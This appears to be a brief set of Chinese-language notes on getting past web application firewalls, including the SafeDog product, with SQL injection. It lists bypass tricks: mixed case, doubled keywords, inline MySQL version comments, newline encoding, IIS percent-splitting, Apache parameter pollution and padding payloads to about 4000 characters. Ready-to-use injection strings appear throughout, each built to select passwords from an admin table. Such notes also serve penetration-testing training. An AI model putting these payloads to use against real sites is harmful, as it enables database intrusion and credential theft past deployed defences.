常见绕WAF手法:
①、大小写绕过、替换绕过/*例如双写*/;(很老的WAF才有用)
例如:and => &;0x31=>1;0x32=>2.......
②、特殊字符+内联注释绕过:
%0a 换行;
/* */ 数据库注释;安全狗会人为/* */ 中式安全的;
/* ! */ 内联注释;(内联注释是MYSQL为了保持与其它数据兼容,将MYSQL中特有的语句放在/*! */中,这些语句在不兼容的数据库中不执行,而在MYSQL自身却能识别,执行。/*!50000*/表示数据库版本=>5.00.00时中间的语句才能被执行)
有些函数加了‘’可以执行:常见有sleep(),updatexml();
例如:
id=1 union %23/* %0a select password from admin %23*/
id=1 union /*! 10086*/ select 1,2,3 -- %23/* %0a from admin %23*/(版本号可以通过burp爆破;-- %23是单行注释,为了注释/*)
③、编码绕过:比如会多次解码的东西;
④、等价替换:利用其它函数替代;
例如:union %23%0a select 被拦截时,可以替换为 union all %23%0a select;
⑤、容器特性:Apace的Hpp,或者是IIS的%分割;
例如:iss中间件:s%e%l%e%c%t => select;
Apace(参数污染): id=1/*&id=2 union select password from admin %23*/(同时传参2个取最后一个)
⑥、白名单:管理员权限或者是127.0.0.1本地访问不拦截;
⑦、缓冲区:传参的数据超出WAF检测的范围(POST传参);
例如;id=1 /*ABAB.......ABAB*/ union select * from admin (安全狗一般是填充4000字符左右)